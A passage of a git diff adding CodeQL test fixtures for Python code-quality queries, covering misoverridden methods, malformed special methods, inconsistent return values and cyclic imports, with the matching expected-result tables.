may_raise() + return 0 + except ValueError as e: + print(e) + exit(EXIT_ERROR) + +#ODASA-6062 +import zope.interface +class Z(zope.interface.Interface): + + def meth(arg): + pass + +Z().meth(0) + diff --git a/python/ql/test/query-tests/Functions/general/mox.py b/python/ql/test/query-tests/Functions/general/mox.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Functions/general/om_test.py b/python/ql/test/query-tests/Functions/general/om_test.py new file mode 100644 index 00000000000..cbee20625aa --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/om_test.py @@ -0,0 +1,107 @@ + +#Signature overridden wrong + +class Base(object): + + def ok1(self, arg1, arg2 = 2): + return arg1, arg2 + + def ok2(self, arg1, arg2 = 2): + return arg1, arg2 + + def grossly_wrong1(self, arg1, arg2): + return arg1, arg2 + + def grossly_wrong2(self, arg1, arg2): + return arg1, arg2 + + def strictly_wrong1(self, arg1, arg2 = 2): + return arg1, arg2 + + def strictly_wrong2(self, arg1, arg2 = 2): + return arg1, arg2 + +class Derived(Base): + + def ok1(self, arg1, arg2 = 2): + return arg1, arg2 + + def ok2(self, arg1, arg2 = 2, arg3 = 3): + return arg1, arg2, arg3 + + def grossly_wrong1(self, arg1): + return arg1 + + def grossly_wrong2(self, arg1, arg2, arg3): + return arg1, arg2, arg3 + + def strictly_wrong1(self, arg1): + return arg1 + + def strictly_wrong2(self, arg1, arg2, arg3 = 3): + return arg1, arg2, arg3 + +#Special method signatures + +class Special(object): + + def __add__(self, x): + return self, x + + def __pos__(self): + return self + + def __str__(self): + return repr(self) + +class WrongSpecials(object): + + def __div__(self, x, y): + return self, x, y + + def __mul__(self): + return self + + def __neg__(self, other): + return self, other + + def __exit__(self, arg0, arg1): + return arg0 == arg1 + + def __repr__(): + pass + + def __add__(self, other="Unused default"): + pass + + @staticmethod + def __abs__(): + return 42 + +class OKSpecials(object): + + def __del__(): + state = some_state() + + def __del__(self): + use_the_state(state) + + return __del__ + + __del__ = __del__() + + __add__ = lambda x, y : do_add(x, y) + +class NotOKSpecials(object): + + __sub__ = lambda x : do_neg(x) + +#Correctly overridden builtin method +class LoggingDict(dict): + + def pop(self): + print("pop") + return dict.pop(self) + + + diff --git a/python/ql/test/query-tests/Functions/general/protocols.py b/python/ql/test/query-tests/Functions/general/protocols.py new file mode 100644 index 00000000000..739dda00e45 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/protocols.py @@ -0,0 +1,90 @@ + +class Iterator: + #Support both 2 and 3 protocol + + def __next__(self): + pass + + def next(self): + pass + + def __iter__(self): + return self + +class X(object): + + def __iter__(self): + return object() + + +#Iterator not returning self + +class AlmostIterator(object): + + def __next__(self): + pass + + def next(self): + pass + + def __iter__(self): + return X.Xiter(X()) + +class AlmostIterable(object): + + def __iter__(self): + return AlmostIterator() + +#Overly complex __del__ method + +class MegaDel(object): + + def __del__(self): + a = self.x + self.y + if a: + print(a) + if sys._getframe().f_lineno > 100: + print("Hello") + sum = 0 + for a in range(100): + sum += a + print(sum) + +class MiniDel(object): + + def close(self): + pass + + def __del__(self): + self.close() + +class IncorrectSpecialMethods(object): + + def __add__(self, other): + raise NotImplementedError() + + def __getitem__(self, index): + raise ZeroDivisionError() + + def __getattr__(self): + raise ZeroDivisionError() + +def f(self): + pass + +class MissingMethods(object): + + __repr__ = f # This should be OK + __add__ = f # But not this + __set__ = f # or this + +#OK Special method +class OK(object): + + def __call__(self): + yield 0 + raise StopIteration + + + + diff --git a/python/ql/test/query-tests/Functions/general/special.py b/python/ql/test/query-tests/Functions/general/special.py new file mode 100644 index 00000000000..e555e392316 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/special.py @@ -0,0 +1,15 @@ + +#Special +class C(object): + + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args): + pass + + def __get__(self, *args): + pass \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/general/use_mox.py b/python/ql/test/query-tests/Functions/general/use_mox.py new file mode 100644 index 00000000000..cc150120504 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/use_mox.py @@ -0,0 +1,11 @@ +import mox + +#Use mox +mox + +def f(): + pass + +#This may be OK as it might be mocked + +f().AndReturns("Something") diff --git a/python/ql/test/query-tests/Functions/general/zope/__init__.py b/python/ql/test/query-tests/Functions/general/zope/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/Functions/general/zope/interface.py b/python/ql/test/query-tests/Functions/general/zope/interface.py new file mode 100644 index 00000000000..05def283197 --- /dev/null +++ b/python/ql/test/query-tests/Functions/general/zope/interface.py @@ -0,0 +1,6 @@ +#Fake zope.interface Module + +class InterfaceClass(type): + pass + +Interface = InterfaceClass() diff --git a/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.expected b/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.expected new file mode 100644 index 00000000000..92276ba22f0 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.expected @@ -0,0 +1,6 @@ +| test.py:24:5:24:26 | Function meth1 | Overriding method signature does not match $@, where it is passed too few. Overridden method $@ is correctly specified. | test.py:15:9:15:20 | Attribute() | here | test.py:5:5:5:20 | Function meth1 | method Base.meth1 | +| test.py:24:5:24:26 | Function meth1 | Overriding method signature does not match $@, where it is passed too few. Overridden method $@ is correctly specified. | test.py:34:9:34:20 | Attribute() | here | test.py:5:5:5:20 | Function meth1 | method Base.meth1 | +| test.py:27:5:27:20 | Function meth2 | Overriding method signature does not match $@, where it is passed an argument named 'spam'. Overridden method $@ is correctly specified. | test.py:20:9:20:31 | Attribute() | here | test.py:8:5:8:26 | Function meth2 | method Base.meth2 | +| test.py:27:5:27:20 | Function meth2 | Overriding method signature does not match $@, where it is passed an argument named 'spam'. Overridden method $@ is correctly specified. | test.py:39:9:39:31 | Attribute() | here | test.py:8:5:8:26 | Function meth2 | method Base.meth2 | +| test.py:27:5:27:20 | Function meth2 | Overriding method signature does not match $@, where it is passed too many. Overridden method $@ is correctly specified. | test.py:18:9:18:21 | Attribute() | here | test.py:8:5:8:26 | Function meth2 | method Base.meth2 | +| test.py:27:5:27:20 | Function meth2 | Overriding method signature does not match $@, where it is passed too many. Overridden method $@ is correctly specified. | test.py:37:9:37:21 | Attribute() | here | test.py:8:5:8:26 | Function meth2 | method Base.meth2 | diff --git a/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref new file mode 100644 index 00000000000..d1637c1f1d3 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/IncorrectlyOverriddenMethod.qlref @@ -0,0 +1 @@ +Functions/IncorrectlyOverriddenMethod.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.expected b/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.expected new file mode 100644 index 00000000000..527ad805604 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.expected @@ -0,0 +1,9 @@ +| test.py:5:5:5:20 | Function meth1 | Overridden method signature does not match $@, where it is passed an argument named 'spam'. Overriding method $@ matches the call. | test.py:19:9:19:31 | Attribute() | call | test.py:24:5:24:26 | Function meth1 | method Derived.meth1 | +| test.py:5:5:5:20 | Function meth1 | Overridden method signature does not match $@, where it is passed an argument named 'spam'. Overriding method $@ matches the call. | test.py:38:9:38:31 | Attribute() | call | test.py:24:5:24:26 | Function meth1 | method Derived.meth1 | +| test.py:5:5:5:20 | Function meth1 | Overridden method signature does not match $@, where it is passed too many arguments. Overriding method $@ matches the call. | test.py:16:9:16:21 | Attribute() | call | test.py:24:5:24:26 | Function meth1 | method Derived.meth1 | +| test.py:5:5:5:20 | Function meth1 | Overridden method signature does not match $@, where it is passed too many arguments. Overriding method $@ matches the call. | test.py:19:9:19:31 | Attribute() | call | test.py:24:5:24:26 | Function meth1 | method Derived.meth1 | +| test.py:5:5:5:20 | Function meth1 | Overridden method signature does not match $@, where it is passed too many arguments. Overriding method $@ matches the call. | test.py:35:9:35:21 | Attribute() | call | test.py:24:5:24:26 | Function meth1 | method Derived.meth1 | +| test.py:5:5:5:20 | Function meth1 | Overridden method signature does not match $@, where it is passed too many arguments. Overriding method $@ matches the call. | test.py:38:9:38:31 | Attribute() | call | test.py:24:5:24:26 | Function meth1 | method Derived.meth1 | +| test.py:8:5:8:26 | Function meth2 | Overridden method signature does not match $@, where it is passed too few arguments. Overriding method $@ matches the call. | test.py:17:9:17:20 | Attribute() | call | test.py:27:5:27:20 | Function meth2 | method Derived.meth2 | +| test.py:8:5:8:26 | Function meth2 | Overridden method signature does not match $@, where it is passed too few arguments. Overriding method $@ matches the call. | test.py:36:9:36:20 | Attribute() | call | test.py:27:5:27:20 | Function meth2 | method Derived.meth2 | +| test.py:64:5:64:19 | Function meth | Overridden method signature does not match $@, where it is passed too many arguments. Overriding method $@ matches the call. | test.py:78:1:78:12 | Attribute() | call | test.py:74:5:74:24 | Function meth | method Correct2.meth | diff --git a/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref new file mode 100644 index 00000000000..8a07cb1297e --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/IncorrectlySpecifiedOverriddenMethod.qlref @@ -0,0 +1 @@ +Functions/IncorrectlySpecifiedOverriddenMethod.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/overriding/SignatureOverriddenMethod.expected b/python/ql/test/query-tests/Functions/overriding/SignatureOverriddenMethod.expected new file mode 100644 index 00000000000..99f0fb667d6 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/SignatureOverriddenMethod.expected @@ -0,0 +1 @@ +| test.py:30:5:30:26 | Function meth3 | Overriding method 'meth3' has signature mismatch with $@. | test.py:11:5:11:20 | Function meth3 | overridden method | diff --git a/python/ql/test/query-tests/Functions/overriding/SignatureOverriddenMethod.qlref b/python/ql/test/query-tests/Functions/overriding/SignatureOverriddenMethod.qlref new file mode 100644 index 00000000000..a306477b3b4 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/SignatureOverriddenMethod.qlref @@ -0,0 +1 @@ +Functions/SignatureOverriddenMethod.ql diff --git a/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.expected b/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.expected new file mode 100644 index 00000000000..d2fc2ef6784 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.expected @@ -0,0 +1 @@ +| test.py:19:9:19:31 | Attribute() | Keyword argument 'spam' is not a supported parameter name of $@. | test.py:5:5:5:20 | Function meth1 | method Base.meth1 | diff --git a/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref b/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref new file mode 100644 index 00000000000..3599f204f55 --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/WrongNameForArgumentInCall.qlref @@ -0,0 +1 @@ +Expressions/WrongNameForArgumentInCall.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.expected b/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.expected new file mode 100644 index 00000000000..4f29401ce5b --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.expected @@ -0,0 +1,2 @@ +| test.py:16:9:16:21 | Attribute() | Call to $@ with too many arguments; should be no more than 0. | test.py:5:5:5:20 | Function meth1 | method Base.meth1 | +| test.py:17:9:17:20 | Attribute() | Call to $@ with too few arguments; should be no fewer than 1. | test.py:8:5:8:26 | Function meth2 | method Base.meth2 | diff --git a/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref b/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref new file mode 100644 index 00000000000..1bffe8f1cad --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/WrongNumberArgumentsInCall.qlref @@ -0,0 +1 @@ +Expressions/WrongNumberArgumentsInCall.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/overriding/test.py b/python/ql/test/query-tests/Functions/overriding/test.py new file mode 100644 index 00000000000..c4c7caaa1aa --- /dev/null +++ b/python/ql/test/query-tests/Functions/overriding/test.py @@ -0,0 +1,78 @@ + + +class Base(object): + + def meth1(self): + pass + + def meth2(self, spam): + pass + + def meth3(self): + pass + + def foo(self): + self.meth1() + self.meth1(0) + self.meth2() + self.meth2(0) + self.meth1(spam="eggs") + self.meth2(spam="eggs") + +class Derived(Base): + + def meth1(self, spam): + pass + + def meth2(self): + pass + + def meth3(self, eggs): #Incorrectly overridden and not called. + pass + + def bar(self): + self.meth1() # Can only call Derived.meth1 so report as incorrect number of arguments + self.meth1(0) + self.meth2() + self.meth2(0) # Can only call Derived.meth2 so report as incorrect number of arguments + self.meth1(spam="eggs") + self.meth2(spam="eggs") + self.foo() + +d = Derived() +d.meth1 + +class Abstract(object): + + def meth(self): + raise NotImplementedError() + + +class Concrete(object): + + def meth(self, arg): + pass + + +#Attempt to fool analysis +x = Abstract() if cond else Concrete() +x.meth("hi") + + +class BlameBase(object): + + def meth(self): + pass + +class Correct1(BlameBase): + + def meth(self, arg): + pass + +class Correct2(BlameBase): + + def meth(self, arg): + pass + +c = Correct2() +c.meth("hi") diff --git a/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.expected b/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.expected new file mode 100644 index 00000000000..7c0bad373b3 --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.expected @@ -0,0 +1,2 @@ +| functions_test.py:18:1:18:11 | Function cr1 | Mixing implicit and explicit returns may indicate an error as implicit returns always return None. | +| functions_test.py:22:1:22:11 | Function cr2 | Mixing implicit and explicit returns may indicate an error as implicit returns always return None. | diff --git a/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref b/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref new file mode 100644 index 00000000000..0904074f25b --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/ConsistentReturns.qlref @@ -0,0 +1 @@ +Functions/ConsistentReturns.ql diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected new file mode 100644 index 00000000000..fd4f1ee2dd7 --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.expected @@ -0,0 +1,2 @@ +| functions_test.py:306:1:306:39 | Function returning_different_tuple_sizes | returning_different_tuple_sizes returns $@ and $@. | functions_test.py:308:16:308:18 | Tuple | tuple of size 2 | functions_test.py:310:16:310:20 | Tuple | tuple of size 3 | +| functions_test.py:324:1:324:50 | Function indirectly_returning_different_tuple_sizes | indirectly_returning_different_tuple_sizes returns $@ and $@. | functions_test.py:319:12:319:14 | Tuple | tuple of size 2 | functions_test.py:322:12:322:16 | Tuple | tuple of size 3 | diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref new file mode 100644 index 00000000000..c91661b33cf --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/ReturnConsistentTupleSizes.qlref @@ -0,0 +1 @@ +Functions/ReturnConsistentTupleSizes.ql diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.expected b/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.expected new file mode 100644 index 00000000000..60640bb96ba --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.expected @@ -0,0 +1,3 @@ +| functions_test.py:159:5:159:9 | ExprStmt | Call discards return value of function $@. The result is used in 80% of calls. | functions_test.py:12:1:12:11 | Function ok2 | ok2 | +| functions_test.py:160:5:160:9 | ExprStmt | Call discards return value of function $@. The result is used in 80% of calls. | functions_test.py:36:1:36:11 | Function ok4 | ok4 | +| functions_test.py:161:5:161:17 | ExprStmt | Call discards return value of function $@. The result is used in 80% of calls. | file://:Compiled Code:0:0:0:0 | Builtin-function sorted | sorted | diff --git a/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref b/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref new file mode 100644 index 00000000000..61002533ef4 --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/ReturnValueIgnored.qlref @@ -0,0 +1 @@ +Functions/ReturnValueIgnored.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.expected b/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.expected new file mode 100644 index 00000000000..54a74971d37 --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.expected @@ -0,0 +1,2 @@ +| functions_test.py:77:9:77:20 | do_nothing() | The result of '$@' is used even though it is always None. | functions_test.py:83:1:83:17 | Function do_nothing | do_nothing | +| functions_test.py:234:16:234:27 | do_nothing() | The result of '$@' is used even though it is always None. | functions_test.py:83:1:83:17 | Function do_nothing | do_nothing | diff --git a/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref b/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref new file mode 100644 index 00000000000..b23115e8950 --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/UseImplicitNoneReturnValue.qlref @@ -0,0 +1 @@ +Functions/UseImplicitNoneReturnValue.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Functions/return_values/functions_test.py b/python/ql/test/query-tests/Functions/return_values/functions_test.py new file mode 100644 index 00000000000..c8a7cf37734 --- /dev/null +++ b/python/ql/test/query-tests/Functions/return_values/functions_test.py @@ -0,0 +1,333 @@ + +#Consistent Returns + +__all__ = [ '' ] + +def ok1(x): + if x: + return None + else: + return + +def ok2(x): + if x: + return 4 + else: + return "Hi" + +def cr1(x): + if x: + return 4 + +def cr2(x): + if x: + return 4 + else: + return + +def ok3(x): + try: + return + finally: + do_something() + + + +def ok4(x): + return len(x) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +def use_implicit_return_value(arg): + x = do_nothing() + return call_non_callable(arg) + +#The return in the lambda is OK as it is auto-generated +y = lambda x : do_nothing() + +def do_nothing(): + pass + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +def return_value_ignored(): + ok2() + ok4() + sorted([1,2]) + +d = {} + +def use_return_values(): + x = ok2() + x = ok2() + x = ok3() + x = ok3() + x = ok4() + x = ok4() + x = y() + x = y() + x = returns_self() + x = returns_self() + x = sorted(x) + x = sorted(x) + x = ok2() + x = ok2() + x = ok3() + x = ok3() + x = ok4() + x = ok4() + x = y() + x = y() + x = returns_self() + x = returns_self() + x = sorted(x) + x = sorted(x) + +def ok_to_ignore(): + ok1 + do_nothing() + returns_self() + ok3() + y() + + + + + + + + + + + + + + +@decorator +def nested_call_implicit_return_func_ok(arg): + do_nothing() + + + + + + +#OK as it returns result of a call to super().__init__() +class InitCallsInit(InitCallsError): + + def __init__(self): + return super(InitCallsInit, self).__init__() + +#Harmless, so we allow it. +def use_implicit_return_value_ok(arg): + return do_nothing() + +def mutli_return(arg): + if arg: + return do_something() + else: + return do_nothing() + +#Modification of parameter with default + +def augassign(x = []): + x += ["x"] + + +#Possible FPs for non-self. ODASA-2439 + +class C(object): + def _func(f): + return f + + _func(x) + + #or + @_func + def meth(self): + pass + + +def dont_care(arg): + pass + +class C(object): + + meth = dont_care + +class Meta(type): + + #__new__ is an implicit class method, so the first arg is the metaclass + def __new__(metacls, name, bases, cls_dict): + return super(Meta, metacls).__new__(metacls, name, bases, cls_dict) + +#ODASA 3658 +from sys import exit +#Consistent returns +def ok5(): + try: + may_raise() + return 0 + except ValueError as e: + print(e) + exit(EXIT_ERROR) + + + +#ODASA-6514 +if unknown(): + def foo(x): + pass +else: + def foo(x): + return x+1 + +#This is OK since at least one of the `foo`s returns a value. +y = foo() + + + + + + + + + + + + +# Returning tuples with different sizes + +def returning_different_tuple_sizes(x): + if x: + return 1,2 + else: + return 1,2,3 + +def ok_tuple_sizes(x): + if x: + return 1,2 + else: + return 2,3 + +def function_returning_2_tuple(): + return 1,2 + +def function_returning_3_tuple(): + return 1,2,3 + +def indirectly_returning_different_tuple_sizes(x): + if x: + return function_returning_2_tuple() + else: + return function_returning_3_tuple() + + +def mismatched_multi_assign(x): + a,b = returning_different_tuple_sizes(x) + return a,b \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.expected b/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.expected new file mode 100644 index 00000000000..ca3e04150e2 --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.expected @@ -0,0 +1 @@ +| imports_test.py:4:1:4:19 | Import | Module 'test_module2' is imported with both 'import' and 'import from' | diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref b/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref new file mode 100644 index 00000000000..3d50843db7e --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/ImportandImportFrom.qlref @@ -0,0 +1 @@ +Imports/ImportandImportFrom.ql diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.expected b/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.expected new file mode 100644 index 00000000000..497c729b8ad --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.expected @@ -0,0 +1 @@ +| imports_test.py:8:1:8:19 | Import | The module 'imports_test' imports itself. | diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref b/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref new file mode 100644 index 00000000000..e6bc27b3065 --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/ModuleImportsItself.qlref @@ -0,0 +1 @@ +Imports/ModuleImportsItself.ql diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py b/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py new file mode 100644 index 00000000000..81ebbccd9d5 --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/imports_test.py @@ -0,0 +1,9 @@ + +#Import and import from + +import test_module2 +from test_module2 import func + +#Module imports itself +import imports_test + diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/test_module.py b/python/ql/test/query-tests/Imports/PyCheckerTests/test_module.py new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/test_module.py @@ -0,0 +1 @@ + diff --git a/python/ql/test/query-tests/Imports/PyCheckerTests/test_module2.py b/python/ql/test/query-tests/Imports/PyCheckerTests/test_module2.py new file mode 100644 index 00000000000..94e8b95ac1f --- /dev/null +++ b/python/ql/test/query-tests/Imports/PyCheckerTests/test_module2.py @@ -0,0 +1,4 @@ + +def func(): + pass + diff --git a/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.expected b/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.expected new file mode 100644 index 00000000000..e5449848fdc --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.expected @@ -0,0 +1,11 @@ +| module1.py:3:1:3:14 | Import | Import of module $@ begins an import cycle. | module3.py:0:0:0:0 | Module module3 | module3 | +| module1.py:9:1:9:14 | Import | Import of module $@ begins an import cycle. | module4.py:0:0:0:0 | Module module4 | module4 | +| module1.py:11:5:11:18 | Import | Import of module $@ begins an import cycle. | module5.py:0:0:0:0 | Module module5 | module5 | +| module1.py:14:1:14:14 | Import | Import of module $@ begins an import cycle. | module6.py:0:0:0:0 | Module module6 | module6 | +| module1.py:17:1:17:14 | Import | Import of module $@ begins an import cycle. | module8.py:0:0:0:0 | Module module8 | module8 | +| module4.py:1:1:1:14 | Import | Import of module $@ begins an import cycle. | module1.py:0:0:0:0 | Module module1 | module1 | +| module5.py:1:1:1:14 | Import | Import of module $@ begins an import cycle. | module1.py:0:0:0:0 | Module module1 | module1 | +| module6.py:2:5:2:18 | Import | Import of module $@ begins an import cycle. | module7.py:0:0:0:0 | Module module7 | module7 | +| module7.py:1:1:1:22 | Import | Import of module $@ begins an import cycle. | module1.py:0:0:0:0 | Module module1 | module1 | +| module8.py:1:1:1:14 | Import | Import of module $@ begins an import cycle. | module1.py:0:0:0:0 | Module module1 | module1 | +| module9.py:4:1:4:11 | Import | Import of module $@ begins an import cycle. | main.py:0:0:0:0 | Module main | main | diff --git a/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref new file mode 100644 index 00000000000..814bba9fad6 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/CyclicImport.qlref @@ -0,0 +1 @@ +Imports/CyclicImport.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.expected b/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.expected new file mode 100644 index 00000000000..dbdc671c385 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.expected @@ -0,0 +1,3 @@ +| module1.py:5:6:5:15 | Attribute | 'a2' may not be defined if module $@ is imported before module $@, as the $@ of a2 occurs after the cyclic $@ of module1. | module2.py:0:0:0:0 | Module module2 | module2 | module1.py:0:0:0:0 | Module module1 | module1 | module2.py:4:1:4:2 | ControlFlowNode for a2 | definition | module2.py:1:1:1:14 | Import | import | +| module2.py:4:6:4:15 | Attribute | 'a1' may not be defined if module $@ is imported before module $@, as the $@ of a1 occurs after the cyclic $@ of module2. | module1.py:0:0:0:0 | Module module1 | module1 | module2.py:0:0:0:0 | Module module2 | module2 | module1.py:5:1:5:2 | ControlFlowNode for a1 | definition | module1.py:2:1:2:14 | Import | import | +| module3.py:2:21:2:22 | ImportMember | 'a1' may not be defined if module $@ is imported before module $@, as the $@ of a1 occurs after the cyclic $@ of module3. | module1.py:0:0:0:0 | Module module1 | module1 | module3.py:0:0:0:0 | Module module3 | module3 | module1.py:5:1:5:2 | ControlFlowNode for a1 | definition | module1.py:3:1:3:14 | Import | import | diff --git a/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref b/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref new file mode 100644 index 00000000000..5119f8fdaae --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/ModuleLevelCyclicImport.qlref @@ -0,0 +1 @@ +Imports/ModuleLevelCyclicImport.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/main.py b/python/ql/test/query-tests/Imports/cyclic-module/main.py new file mode 100644 index 00000000000..8da504e0406 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/main.py @@ -0,0 +1,7 @@ + +a = 1 +b = 2 + +if __name__ == '__main__': + import module9 + print(module9.y) diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module1.py b/python/ql/test/query-tests/Imports/cyclic-module/module1.py new file mode 100644 index 00000000000..55ef075e9e6 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module1.py @@ -0,0 +1,22 @@ +# potentially crashing cycles +import module2 +import module3 + +a1 = module2.a2 +b1 = 2 + +# bad style cycles +import module4 +def foo(): + import module5 + +# okay, because some of the cycle is not top level +import module6 + +# OK because this import occurs after relevant definition (a1) +import module8 + +#OK because cycle is guarded by `if False:` +from module10 import x + + diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module10.py b/python/ql/test/query-tests/Imports/cyclic-module/module10.py new file mode 100644 index 00000000000..68127cc21fd --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module10.py @@ -0,0 +1,5 @@ + +if False: + import module1 + +x = 1 diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module2.py b/python/ql/test/query-tests/Imports/cyclic-module/module2.py new file mode 100644 index 00000000000..333b8516adb --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module2.py @@ -0,0 +1,4 @@ +import module1 + +# direct use +a2 = module1.a1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module3.py b/python/ql/test/query-tests/Imports/cyclic-module/module3.py new file mode 100644 index 00000000000..2180fb54a28 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module3.py @@ -0,0 +1,2 @@ +# use via import member +from module1 import a1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module4.py b/python/ql/test/query-tests/Imports/cyclic-module/module4.py new file mode 100644 index 00000000000..65db406bb45 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module4.py @@ -0,0 +1 @@ +import module1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module5.py b/python/ql/test/query-tests/Imports/cyclic-module/module5.py new file mode 100644 index 00000000000..65db406bb45 --- /dev/null +++ b/python/ql/test/query-tests/Imports/cyclic-module/module5.py @@ -0,0 +1 @@ +import module1 \ No newline at end of file diff --git a/python/ql/test/query-tests/Imports/cyclic-module/module6.py 